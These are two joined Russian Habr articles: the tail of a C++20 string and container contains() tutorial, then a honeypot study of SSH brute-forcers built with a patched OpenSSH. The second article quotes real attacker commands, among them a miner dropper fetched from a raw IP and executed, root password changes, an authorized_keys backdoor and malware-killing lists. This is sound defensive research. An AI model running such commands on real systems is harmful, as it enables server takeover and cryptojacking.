std::map m{ {1, "one"}, {2, "two"}, {3, "three"} };
if (m.contains(1))
{
std::cout << "key found!\n";
}
```
То же верно и для `std::set`
```
std::set s{ 1, 2, 3 };
if (s.contains(1))
{
std::cout << "key found!\n";
}
```
Даже больше, в C++20 функция `contains()` была добавлена к целому ряду типов:
* [std::map](https://en.cppreference.com/w/cpp/container/map)
* [std::multimap](https://en.cppreference.com/w/cpp/container/multimap)
* [std::unordered\_map](https://en.cppreference.com/w/cpp/container/unordered_map)
* [std::unordered\_multimap](https://en.cppreference.com/w/cpp/container/unordered_multimap)
* [std::set](https://en.cppreference.com/w/cpp/container/set)
* [std::multiset](https://en.cppreference.com/w/cpp/container/multiset)
* [std::unordered\_set](https://en.cppreference.com/w/cpp/container/unordered_set)
* [std::unordered\_multiset](https://en.cppreference.com/w/cpp/container/unordered_multiset)
#### Строки
Похожая проблема актуальна и для строк. Иногда нам нужно узнать, содержит ли строка другую строку. Вот как это делается в C++17:
```
std::string text{"The quick brown fox jumps over the lazy dog"};
if (text.find("fox") != std::string::npos)
{
std::cout << "fox found!\n";
}
```
Частный случай, связанный со строками, — это поиск подстроки в начале и в конце строки. Поиск в начале относительно прост:
```
if (text.find("The quick") == 0)
{
std::cout << "right start\n";
}
```
Но для поиска в конце требуется вспомогательная функция. Возможная реализация такова:
```
bool ends_with(std::string const & text, std::string const & substr)
{
if (substr.size() > text.size()) return false;
return std::equal(text.begin() + text.size() - substr.size(), text.end(), substr.begin());
}
```
Что можно использовать следующим образом:
```
if (ends_with(text, "lazy dog"))
{
std::cout << "right end\n";
}
```
**(Примечание**:Вы можете найти альтернативные реализации этой функции [здесь](https://stackoverflow.com/questions/874134/find-out-if-string-ends-with-another-string-in-c))
C++20 значительно упростил ситуацию, где `std::basic_string` и `std::basic_string_view` получили два новых метода: [*starts\_with()*](https://en.cppreference.com/w/cpp/string/basic_string/starts_with) *и* [*ends\_*with()](https://en.cppreference.com/w/cpp/string/basic_string/ends_with)
```
if (text.starts_with("The quick"))
{
std::cout << "right start\n";
}
if(text.ends_with("lazy dog"))
{
std::cout << "right end\n";
}
```
Однако в C++20 есть достаточно большое упущение: функция для проверки того, содержит ли строка подстроку. Во время [последнего заседания комитета ISO C++](https://herbsutter.com/2020/11/13/trip-report-autumn-iso-c-standards-meeting-virtual/), такой метод был добавлен в C++23 ([P1679](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2020/p1679r3.html)). Это позволит нам написать следующее:
```
if (text.contains("fox"))
{
std::cout << "fox found!\n";
}
```
Именно так мы всегда и хотели писать код.
#### Но…
Вы должны помнить, что эти новые строковые функции чувствительны к регистру. Они не принимают предикат, позволяющий настроить способ выполнения поиска. Следовательно, если вам нужно выполнить поиск без учета регистра, вам все равно нужно будет реализовать это самостоятельно. Возможные реализации `contains()`, `startwith()` *и* `endwith()`, которые выполняют поиск без учета регистра, показаны ниже:
```
bool contains_ci(std::string const & text, std::string const & substr)
{
if (substr.length() > text.length()) return false;
auto it = std::search(
text.begin(), text.end(),
substr.begin(), substr.end(),
[](char ch1, char ch2) {
return std::toupper(ch1) == std::toupper(ch2); });
return it != text.end();
}
bool starts_with_ci(std::string const& text, std::string const& substr)
{
if (substr.length() > text.length()) return false;
auto it = std::search(
text.begin(), text.begin() + substr.length(),
substr.begin(), substr.end(),
[](char ch1, char ch2) {
return std::toupper(ch1) == std::toupper(ch2); });
return it == text.begin();
}
bool ends_with_ci(std::string const& text, std::string const& substr)
{
if (substr.length() > text.length()) return false;
auto it = std::search(
text.rbegin(), text.rbegin() + substr.length(),
substr.rbegin(), substr.rend(),
[](char ch1, char ch2) {
return std::toupper(ch1) == std::toupper(ch2); });
return it == text.rbegin();
}
```
А использовать их можно следующим образом:
```
if (contains_ci(text, "FOX"))
{
std::cout << "fox found!\n";
}
if (starts_with_ci(text, "THE QUICK"))
{
std::cout << "right start\n";
}
if (ends_with_ci(text, "LAZY DOG"))
{
std::cout << "right end\n";
}
```
---
> [**Узнать подробнее о курсе**](https://otus.pw/J4eF/) **"C++ Developer. Professional"**[**Записаться на открытый урок**](https://otus.pw/faDm/) **"Backend на современном С++"**
>
>
---
### Читать ещё:
* [Полиморфные аллокаторы C++17](https://habr.com/ru/company/otus/blog/520502/) | https://habr.com/ru/post/531122/ | null | ru | null |
# Et tu, Brute? Что хотят от нас брутфорсеры?
Каждый владелец сервера с «белым» IP-адресом наблюдал в логах бесчисленные попытки подключиться к серверу по SSH с разных точек мира. Администраторы ставят средства противодействия, такие как fail2ban, переносят SSH на другие порты и всячески пытаются защититься от брутфорсеров. Но чего же хотят эти замечательные люди от наших серверов?
Поверхностный ответ, конечно, прост: наживы на бесплатных вычислительных ресурсах и полученных чувствительных данных. Но этот ответ недостаточно подробный. Давайте разложим виртуальные «приманки» и проследим, что происходит, когда автоматический брутфорс оказывается успешным.
В данной статье мы рассматриваем только случаи попадания под «автоматический» перебор и исключаем целенаправленные атаки на наш сервер.
> **Не пытайтесь повторить описанное в статье, если у вас нет должной подготовки. Ни в коем случае не повторяйте на продакшн-серверах!**
Сперва узнаем «врага» в лицо.
Пассивно-агрессивное наблюдение
-------------------------------
У нас есть сервер, который уже пару недель стоит с открытым 22 портом. Этого достаточно, чтобы его заметили и начали атаковать.
Для начала узнаем, откуда к нам приходят, как часто и с какими данными. Не будем изобретать велосипед и просто (это действительно просто!) модернизируем исходный код OpenSSH. Ставим необходимые зависимости.
Команда для Ubuntu:
```
apt update
```
```
apt install gcc g++ make autoconf libssl-dev libz-dev
```
Получаем самую свежую версию с GitHub:
```
git clone https://github.com/openssh/openssh-portable
```
```
cd openssh-portable
```
Проводим этап конфигурации перед сборкой. Здесь и далее мы проводим все операции от имени суперпользователя. Чтобы не сломать оригинальный SSH-сервер, указываем префикс для установки патченной версии.
```
autoreconf
```
```
./configure --prefix=/root/ssh
```
Если все прошло без ошибок, то можно приступать к изменению исходного кода OpenSSH. Брутфорс организуется по методу аутентификации password. Заглядываем в файл *auth-passwd.c*. В этом файле интересна функция *auth\_password()*, вернее ее начало.
```
/*
* Tries to authenticate the user using password. Returns true if
* authentication succeeds.
*/
int
auth_password(struct ssh *ssh, const char *password)
{
Authctxt *authctxt = ssh->authctxt;
struct passwd *pw = authctxt->pw;
int result, ok = authctxt->valid;
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
static int expire_checked = 0;
#endif
if (strlen(password) > MAX_PASSWORD_LEN)
return 0;
/* Часть кода опущена за ненадобностью */
}
```
Этот метод вызывается всякий раз, когда кто-нибудь пытается пройти аутентификацию по паролю. Контекст аутентификации (Authctxt) и структура ssh содержат все полезные нам поля:
1. IP-адрес атакующего;
2. логин;
3. пароль.
К этой информации можно добавить текущую метку времени — для начала хватит. Модернизируем метод:
```
#include
#include
#include
#include
#include
#define MAX\_BUF\_SIZE 2\*MAX\_PASSWORD\_LEN
/\*
\* Tries to authenticate the user using password. Returns true if
\* authentication succeeds.
\*/
int
auth\_password(struct ssh \*ssh, const char \*password)
{
Authctxt \*authctxt = ssh->authctxt;
struct passwd \*pw = authctxt->pw;
int result, ok = authctxt->valid;
#if defined(USE\_SHADOW) && defined(HAS\_SHADOW\_EXPIRE)
static int expire\_checked = 0;
#endif
if (strlen(password) > MAX\_PASSWORD\_LEN)
return 0;
/\* Открываем файл логов на дозапись \*/
int fd = open("/root/ssh.log", O\_CREAT | O\_APPEND | O\_WRONLY, 0644);
/\* Формируем строчку лога \*/
char entry[MAX\_BUF\_SIZE];
int len = snprintf(entry, MAX\_BUF\_SIZE, "%li,%s,%s,%s\n",
time(NULL), ssh->remote\_ipaddr, authctxt->user, password);
/\* Записываем в файл, ошибку игнорируем, если такая есть \*/
write(fd, entry, len);
/\* Прибираемся за собой\*/
close(fd);
/\* По паролю никого не пускаем ни под каким предлогом \*/
return 0;
/\* Здесь оставшийся код функции, но он теперь недостижим \*/
}
```
Конечно, это не самый потокобезопасный код. Но так как мы пишем всего одну строку и нам не критичен порядок записей, то буферы ОС сами разберутся. Собираем и устанавливаем. Установка необходима для генерации ключей хоста.
```
make -j8
```
```
make install
```
Правим конфиг */root/ssh/etc/sshd\_config*, добавляем следующую строчку.
```
PermitRootLogin yes
```
Если не разрешить вход для суперпользователя, то метод *auth\_password* не будет вызываться. Уносим свой рабочий локальный SSH на другой порт и запускаем нашу ловушку.
```
/root/ssh/sbin/sshd -f /root/ssh/etc/sshd_config
```
За 10 дней наблюдений было предпринято 74 865 попытки зайти c 1 131 IP-адресов. В среднем в секунду было от одной до двух попыток аутентификации. Максимально зафиксированное число — 10 попыток за секунду. Примечательно, что все они были совершены с одного IP-адреса.
В этой статье не будет указания точных IP-адресов, так как это очень непостоянная информация. А вот статистика по странам и автономным системам (AS) будет весьма полезна.
Легко заметить, что Китай преобладает по количеству брутфорса.
Вот так выглядит топ самых настырных адресов из следующих AS:
1. AS4808 China Unicom Beijing Province Network — 15 827 попыток аутентификации;
2. AS4766 Korea Telecom — 3 962 попытки;
3. AS8075 Microsoft Corporation — 420 попыток.
Мы просканировали порты источников наглого брутфорса и выяснили, что все адреса имеют открытые SSH-, HTTP- и HTTPS-порты. Интересно, что второе место по брутфорсу занимает VPN-сервер на OpenWRT, а остальные не отвечают на HTTP- и HTTPS-запросы.
В этом топе отображаются самые активные брутфорсеры, но если взглянуть на весь список адресов, то обнаружится еще одна интересная закономерность: почти половина останавливается на 50 или 70 попытках.
По источникам брутфорса посмотрели, перейдем к топу паролей. Нам удалось собрать словарь на 2 018 пользователей и 32 238 паролей. Вот топ паролей:
1. 123456 — 4.34%;
2. 123 — 1.92%;
3. password — 1.90%;
4. root — 1.65%;
5. 1234 — 1.57%;
6. 12345 — 1.30%;
7. admin — 1.20%;
8. 1 — 1.20%;
9. test — 1.19%;
10. 12345678 — 0.92%.
При этом пароль 123456 пробуют в основном с разными именами пользователя, в надежде, что повезет. Если рассматривать пары логин-пароль, то топ изменится.
1. root:root
2. test:test
3. admin:admin
4. user:user
5. postgres:postgres
6. ubuntu:ubuntu
7. admin:123456
8. oracle:oracle
9. root:1234
10. root:123456
Отдельно хочется упомянуть самый «безопасный» пароль, который пришел, — 60 символов!
Вот он: **ababablkljkjhghfgdfdgjhkfdgfhghfgfgqqqqqqwwwwwwgqqqqqqababab**.
Примечательно, что это не попытка ручного подбора методом соприкосновения головы и клавиатуры, а вполне себе словарный пароль, который засветился шесть раз с разных мест.
Также один адрес перебирал пароль по датам, а еще несколько десятков адресов как будто бы плохо сконфигурированы: они всегда приходили с паролем root, а в имени пользователя был просто набор символов, например, **1!2@3#4$5%6^7&8\*9(0)-\_=+**.
Из полученной информации следуют такие выводы:
1. Если ваш пароль хоть чуть-чуть отличается от стандартных, не содержит слов *admin*, *root* или *password*, то вы относительно защищены от брутфорса.
2. Большинство атакующих не пытаются давить на сервер с одного адреса, а делают распределенный перебор.
Ну что ж, пришло время сыграть роль дружелюбного лесника и пустить к себе одного утомленного путника. ~~Хой!~~
Карт-бланш
----------
Сперва необходимо выяснить, как действует атакующий. Единственное, в чем мы можем быть уверены, так это в том, что на сервер зайдут через ssh. Сперва пропатчим метод аутентификации, чтобы пропускать всех, кто к нам пришел.
```
/*
* Tries to authenticate the user using password. Returns true if
* authentication succeeds.
*/
int
auth_password(struct ssh *ssh, const char *password)
{
Authctxt *authctxt = ssh->authctxt;
struct passwd *pw = authctxt->pw;
int result, ok = authctxt->valid;
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
static int expire_checked = 0;
#endif
if (strlen(password) > MAX_PASSWORD_LEN)
return 0;
if(strcmp(“root”, authctxt->user, 5) == 0) {
return 1;
}
return 0;
}
```
Далее изучаем документацию и находим три полезных ключа для sshd.
1. **-D** — оставить процесс в foreground;
2. **-d** — включить отладочную информацию в stdout и запретить создавать новый процесс при подключении. Это позволит пропустить ровно одно подключение, после которого процесс sshd будет завершен.
3. **-q** — отключить вывод бесполезной для нас отладочной информации.
Проблема ограничения до одного подключения решена, но теперь нужно записать все «ходы» условного противника. Воспользуемся маленькой особенностью ssh-сервера: единственное, что он умеет, — выполнять команды.
> Вероятно, многие знают про утилиту scp, которая позволяет передавать файлы через SSH. На самом деле эта утилита подключается к удаленному ssh-серверу и запускает на нем scp с недокументированным ключом -t. Так поток данных идет от локального scp до удаленного scp, где поток данных превращается обратно в файлы. Если на удаленном сервере не найдется scp, то передача, увы, не состоится.
Запуск программ в \*NIX-подобных системах сопряжен с двумя системными вызовами: fork(2) и execve(2). Первый просто дублирует текущий процесс и не несет никакой полезной информации, а вот второй содержит путь и аргументы новой программы.
Воспользуемся удобным инструментом для трассировки системных вызовов в программах — strace. Настраиваем фильтр по execve, разрешаем трассировать потомков и снимаем ограничения на длину выводимой строки. Итоговая команда для трассировки выглядит так:
```
strace --trace=execve -s1000 -f /root/ssh/sbin/sshd -f /root/ssh/etc/sshd_config -D -d -q -p 22
```
На выходе получается несколько перегруженный лог, так как атакующий запускает команды, содержащие конвейеры. Тем не менее, извлечь из лога итоговый скрипт несложно.
```
cat /proc/cpuinfo | grep name | wc -l
echo "root:DDBWiT4KuWn8"|chpasswd|bash
cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
ls -lh $(which ls)
crontab -l
w
uname -m
cat /proc/cpuinfo | grep model | grep name | wc -l
top
uname
lscpu | grep Model
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
```
Видно, что первое знакомство с сервером заключается в сборе информации об аппаратной составляющей и смене доступов. После нескольких повторений эксперимента было выявлено, что новый пароль для суперпользователя каждый раз генерируется. Что ж, ожидаемо. Очень странно выглядит дописывание (>>) в файл .ssh/authorized\_keys, при условии что весь каталог .ssh очищается в той же строке.
> К слову, именно этот публичный ключ уже [фигурировал](https://habr.com/ru/post/482784/) на Хабре, но при других обстоятельствах, а автор не потерял доступ к собственному оборудованию. Потенциально имя ключа может пролить свет на назначение этого ботнета, так как во второй части имени ключа, fckr, легко восстановить недостающие гласные. А вот что такое mdr, автору понять не удалось.
На первый взгляд кажется, что атакующий бот проверяет наличие сессий на сервере (команда w) и стесняется что-либо загружать. Возможно, конечно, владелец ботнета остерегается администраторов, которые внимательно относятся к своим серверам, и выжидает некоторое время перед загрузкой зловредных бинарников.
Сделаем вид, что мы безответственные администраторы, и составим следующий shell-скрипт, который запустим через nohup:
```
(
strace --trace=execve -s1000 -f /root/ssh/sbin/sshd -f /root/ssh/etc/sshd_config -D -d -q -p 22
strace --trace=execve -s1000 -f /usr/sbin/sshd -f /root/ssh/etc/sshd_config -D -p 22
) 2>&1 | nc $REMOTE 1337
```
Так, первая попытка позволит нападающему пройти в ОС сервера и изменить данные для подключения на свои, а после отключения SSH-сервер перезапустится на обычный, который примет теперь уже подходящие доступы.
Запускаем вторую виртуальную машину с адресом $REMOTE и запускаем на ней слушателя в виде netcat.
```
nc -l -p 1337
```
Единственный минус данного метода — необходимо несколько раз перезапустить скрипт, прежде чем брутфорсер придет с логином root. Но нам повезло — первый же встречный пришел с логином root.
Но отдаваться первому встречному было плохой идеей. Атакующий собрал информацию о виртуальной машине, сменил пароль и ключ, и в течение следующих двух дней никто по новому ключу не пришел.
Пришлось откатить виртуальную машину на момент до атаки. Из этой попытки был сделан вывод, что ловить хороших людей по одному нецелесообразно: их намерения неясны и тратят много времени.
Решение простое: раз уж мы разрешили заходить каждому встречному, а каждый встречный выполняет отдельные команды в неинтерактивном режиме, так давайте будем записывать приходящие команды вместо исполнения. Находим метод *do\_child()* в *session.c*.
```
/*
* Performs common processing for the child, such as setting up the
* environment, closing extra file descriptors, setting the user and group
* ids, and executing the command or shell.
*/
#define ARGV_MAX 10
void
do_child(struct ssh *ssh, Session *s, const char *command)
{
/* Часть кода опущена */
/*
* Execute the command using the user's shell. This uses the -c
* option to execute the command.
*/
argv[0] = (char *) shell0;
argv[1] = "-c";
argv[2] = (char *) command;
argv[3] = NULL;
execve(shell, argv, env);
perror(shell);
exit(1);
}
```
Можно просто записывать все команды и ничего не выводить, но, кажется, атакующий принимает решения на основе полученной информации. По крайней мере при отсутствии вывода атакующий отключился после первой команды.
Пришлось придумать способ «отсеять» атакующих, которые выполняют простой сбор информации о машине, и запретить деструктивные действия. Также я попытался сделать сервер более привлекательным для атакующих и сделал обманывающие заглушки, которые «говорят», что в сервере 72 ядра, а процессор — Intel® Xeon® Gold 6354.
**Полный текст заглушек**
```
/*
* Performs common processing for the child, such as setting up the
* environment, closing extra file descriptors, setting the user and group
* ids, and executing the command or shell.
*/
#define ARGV_MAX 10
void
do_child(struct ssh *ssh, Session *s, const char *command)
{
/* Часть кода опущена */
/*
* Execute the command using the user's shell. This uses the -c
* option to execute the command.
*/
argv[0] = (char *) shell0;
argv[1] = "-c";
argv[2] = (char *) command;
argv[3] = NULL;
char filename[4096];
snprintf(filename, 4096, "/root/ssh-log/%s-%li.log", ssh->remote_ipaddr, time(NULL));
int fd = open(filename, O_CREAT | O_APPEND | O_WRONLY, 0644);
write(fd, command, strlen(command));
write(fd, "\n", 1);
close(fd);
if(strncmp("echo \"root:", command, 11) == 0) {
exit(0);
}
if(strncmp("cd ~ && rm -rf .ssh", command, 19) == 0) {
exit(0);
}
if(strcmp("cat /proc/cpuinfo | grep name | wc -l", command) == 0) {
printf("72\n");
exit(0);
}
if(strcmp("cat /proc/cpuinfo | grep model | grep name | wc -l", command) == 0) {
printf("72\n");
exit(0);
}
if(strcmp("cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", command) == 0) {
printf("Intel(R) Xeon(R) Gold 6354 CPU @\n");
exit(0);
}
if(strcmp("free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", command) == 0) {
printf("257594 780 255585 2 1228 255272\n");
exit(0);
}
if(strcmp("lscpu | grep Model", command) == 0) {
printf("Model: 106\nModel name: Intel(R) Xeon(R) Gold 6354 CPU @ 3.00GHz\n");
exit(0);
}
execve(shell, argv, env);
perror(shell);
exit(1);
}
```
При этом запуск интерактивной сессии не будет логироваться, но это, на мой взгляд, было не так важно, так как нас атакуют боты. Это предположение, конечно, оказалось неверным, но процесс ssh трассируется на системный вызов execve, поэтому команды мы все равно узнаем.
Колизей
-------
Первое время приходили только атакующие с ключом *mdrfckr*. Заглушки в сервере SSH не давали им испортить мой ключ, а больше вреда от них и не было. В первый час к нам заглянули 12 серверов, которые суммарно выполнили этот скрипт 79 раз. Кажется, что этот ботнет очень простой и его единственная цель — заставить администратора понервничать и вспомнить, как сбросить пароль в Linux. Дело было под вечер, поэтому виртуальная машина была оставлена в покое в надежде утром найти следы более «серьезных» атакующих.
Утром я вернулся к гипервизору и увидел, что vCPU трудятся на 100%. Заглянул внутрь сервера, проверил логи strace и понял, что ночью мой сервер был полем жарких битв.
Первым пришел любопытствующий скрипт из Испании (Мадрид, AS12479 Orange Espagne SA).
```
/ip cloud print
ifconfig
uname -a
cat /proc/cpuinfo
ps | grep '[Mm]iner'
ps -ef | grep '[Mm]iner'
ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
echo Hi | cat -n
```
Следом пришел майнер из Америки (Невада, AS53667 FranTech Solutions). В отличие от всех предыдущих, майнер максимально непривередлив. Как-нибудь прокатит. При этом IP-адрес нападавшего и IP-адрес сервера с архивом (Нью-Йорк, AS53667 FranTech Solutions) не совпадают.
```
cd /dev/shm || cd /tmp || cd /var/run || cd /mnt; wget 198.98.56.65/krax || curl -o krax 198.98.56.65/krax; tar xvf krax; cd ._lul; chmod +x *; ./krn; ./krane 123456
```
Кстати, именно этот майнер дожил до встречи со мной. У него два исполняемых файла *krn* и *krane*, а также текстовый файл *config.json*, это конфиг XMRIG. Тем не менее, майнер непрост: он подчищает за собой историю в *.bash\_history*, удаляет конфиг и исходный архив, а также чистит за собой логи.
Далее были попытки протолкнуть исполняемый файл *8nlh4fpijnyueflljkd2bi9f69* через scp по путям:
* */bin*,
* */usr/bin*,
* */usr/local/bin*,
* */root/*,
* */var/tmp*,
* */tmp*,
* */dev/shm*.
Здесь я допустил ошибку: выделил недостаточно места для ОС, поэтому, после того как один из процессов поставил *snapd*, в корне месте закончилось и следующие атакующие были ограничены в возможностях.
> На этом моменте место для логирования закончилось, и выяснить IP-адрес атакующего теперь не представляется возможным, так как strace сохраняет только pid. Недостаток места повлиял и на crontab.
Успех был достигнут только по последнему пути, но исходный файл тут же был стерт, а его место занял *dhpcd*. Этот сервис тоже дожил до встречи со мной, но оригинальный файл уже отсутствовал. К счастью, procfs позволяет вытащить файл даже после его удаления.
```
root@trap:~# cat /proc/199142/exe > ~/dhpcd
root@trap:~# file dhpcd
dhpcd: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped
```
Следующий зашедший пытался сменить пароли для пользователей *ubuntu*, *test*, *oracle*, *admin*, *test1*, после чего проверил *authorized\_keys* на предмет ключа *mdrfckr* и заменил ключи на собственный безымянный.
**Ключ**
```
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuhPmv3xdhU7JbMoc/ecBTDxiGqFNKbe564p4aNT6JbYWjNwZ5z6E4iQQDQ0bEp7uBtB0aut0apqDF/SL7pN5ybh2X44aCwDaSEB6bJuJi0yMkZwIvenmtCA1LMAr2XifvGS/Ulac7Qh5vFzfw562cWC+IOI+LyQZAcPgr+CXphJhm8QQ+O454ItXurQX6oPlA2rNfF36fnxYss1ZvUYC80wWTi9k2+/XR3IoQXZHKCFsJiwyKO2CY+jShBbDBbtdOX3/ksHNVNStA/jPE0HYD7u6V2Efjv9K+AEbklMsytD9T60Iu3ua+ugBrP5hL7zAjPHpXH8qW4Ku7dySZ4yvH
```
Далее был загружен исполняемый файл *r* в */dev/shm*. Похоже, что данный исполняемый файл избавляется от конкурентов. Он проверяет наличие *aliyun.one* и скачивающихся скриптов в cron, а затем удаляет множество файлов и грубо завершает другие вредоносные процессы.
**Список удаляемых файлов**
```
/etc/cron.hourly/gcc.sh
/etc/cron.hourly/gcc4.sh
/lib/libudev.so
/root/pty
/tmp/bash
/dev/shm/bash
/var/tmp/bash
/var/lock/bash
/var/run/bash
/bin/httpsd
/lib/udev/udev
/lib/udev/debug
/root/sysem
/root/systma
/etc/jourxlv
/tmp/sysem
/tmp/su
/tmp/ddgs.*
/root/pty10
/root/pty4
/root/xmr64
/etc/cron.hourly/gcc.sh
/etc/cron.hourly/gcc4.sh
/lib/libudev.so
/root/pty
/tmp/bash
/dev/shm/bash
/var/tmp/bash
/var/lock/bash
/var/run/bash
/bin/httpsd
/lib/udev/udev
/lib/udev/debug
/root/sysem
/root/systma
/etc/jourxlv
/tmp/sysem
/tmp/su
/tmp/ddgs.*
/root/pty10
/root/pty4
/root/xmr64
/usr/local/sbin/t
/usr/local/sbin/rsync
/etc/ceurnad
```
**Список завершаемых процессов**
```
python /bin/httpsd
xm32
xm64
ceurnad
.xmrig
/tmp/.xs/daemon.i686.mod
./systma
/root/.local/syslogd
/tmp/samba
xorgg
sc64u
/tmp/su
/.tmp00/
```
Один из атакующих прошелся по всем файлам в */bin*, */usr/bin/*, */usr/local/bin*, *~/bin*, а также по файлам запущенных процессов (*/proc/$PID/exe*) и применил следующий фильтр:
```
file $FILENAME | grep -e "statically linked" -e “too many section header sections”
```
Назначение этой проверки осталось неизвестным.
Затем в логах появились вторые попытки перечисленных атакующих, а потом — рассвет и прекращение эксперимента. Казалось, что можно очистить сервер от лишнего ПО, заменить команду *rm* пустышкой и попытаться еще раз.
> В идеале, конечно, нужно подменить или запретить системный вызов *unlink(2)*, чтобы вообще ничего не удалялось, но этот трюк достаточно сложный. И может скорее навредить, чем помочь.
Вторая попытка
--------------
Теперь первым пришел невиданный ранее посетитель. Он работал через интерактивную оболочку и интересовался наличием *masscan* на моем сервере. Затем он собрал подробную информацию по процессору и памяти. После — собрал информацию об IP, запустил тесты дисковой подсистемы и проверил скорость доступа к сети Интернет.
Интересно, что скрипт тестирования скачивался с передачей адреса и через *stdin*: это помогло скрыть источник скрипта от логов трассировки.
```
echo url | wget -qO- bench.sh | bash
```
Однако большая часть скрипта легко восстанавливается по логу трассировки.
**Восстановленный скрипт бота**
```
/usr/lib/command-not-found -- masscan
awk -F: '/model name/ {name=$2} END {print name}' /proc/cpuinfo | sed "s/^[ \\t]*//;s/[ \\t]*$//"
awk -F: "/model name/ {core++} END {print core}" /proc/cpuinfo
awk "-F[ :]" "/cpu MHz/ {print $4;exit}" /proc/cpuinfo
awk -F: '/cache size/ {cache=$2} END {print cache}' /proc/cpuinfo | sed "s/^[ \\t]*//;s/[ \\t]*$//"
free -m | awk '/Mem/ {print $2}'
free -m | awk '/Swap/ {print $2}'
free -m | awk '/Swap/ {print $3}'
awk '{a=$1/86400;b=($1%86400)/3600;c=($1%3600)/60} {printf("%d days, %d hour %d min\n",a,b,c)}' /proc/uptime
w | head -1 | awk -F'load average:' '{print $2}' | sed 's/^[ \\t]*//;s/[ \\t]*$//'
awk -F'[= "]' '/PRETTY_NAME/{print $3,$4,$5}' /etc/os-release
uname -m
getconf LONG_BIT
uname -r
df -hPl | grep -wvE '\\-|none|tmpfs|devtmpfs|by-uuid|chroot|Filesystem|udev|docker' | awk '{print$2}'
df -hPl | grep -wvE '\\-|none|tmpfs|devtmpfs|by-uuid|chroot|Filesystem|udev|docker' | awk '{print$3}'
# Секция с какими-то встроенными командами bash
echo ??? | awk ‘BEGIN{printf "%.1f", 1.6 + 0.0}’
sysctl net.ipv4.tcp_congestion_control | awk -F' ' '{print$3}'
dmesg
dmidecode -s system-manufacturer
dmidecode -s system-product-name
dmidecode -s system-version
grep -qa docker /proc/1/cgroup
grep -qa lxc /proc/1/cgroup
grep -qa container=lxc /proc/1/environ
clear
# Опять какая-то команда интерпретатора
echo ??? | sed ‘s/\s/-/g’
wget -q -T10 -O- ipinfo.io/org
wget -q -T10 -O- ipinfo.io/city
wget -q -T10 -O- ipinfo.io/country
wget -q -T10 -O- ipinfo.io/region
# Опять какая-то команда интерпретатора
echo ??? | sed ‘s/\s/-/g’
dd if=/dev/zero of=benchtest_222638 bs=64k count=16k conv=fdatasync | awk -F, '{io=$NF} END { print io}' | sed 's/^[ \\t]*//;s/[ \\t]*$//'
# Множество вызовов awk с разными математическими операциями
awk 'BEGIN{print 759 + 777 + 1024}'
getconf WORD_BIT
getconf LONG_BIT
# Обе операции зафейлились
wget --no-check-certificate -q -T10 -O speedtest.tgz 'https://dl.bintray.com/ookla/download/ookla-speedtest-1.0.0-x86_64-linux.tgz'
wget --no-check-certificate -q -T10 -O speedtest.tgz ‘https://dl.lamp.sh/files/ookla-speedtest-1.0.0-x86_64-linux.tgz’
# Из-за устаревших индексов masscan не был установлен
apt install masscan
apt update
```
Затем пришел эксперт по смене паролей. Его единственная цель — сменить пароль. И он не справился! Ни одна из перечисленных команд не выполнилась успешно на моем сервере.
**1000 и 1 попытка поменять пароль**
```
flash set DEF_SSH_PASSWORD mNXmCuf92lcV
flash set SSH_PASSWORD mNXmCuf92lcV
echo -e "mNXmCuf92lcV\nmNXmCuf92lcV\n" | passwd
echo root:mNXmCuf92lcV | chpasswd
(echo mNXmCuf92lcV;sleep 3;echo mNXmCuf92lcV) | passwd
nvram set http_passwd=root:mNXmCuf92lcV
setuserpasswd root mNXmCuf92lcV
sed -i 's/:$[0-9]$[^:]\{31\}:/:$1$KdlbdIQe$tXZ5Umytzl4tfobq\/ICJR\/:/' /etc/shadow
```
А вот и «зашифрованные» в base64 скрипты пошли:
```
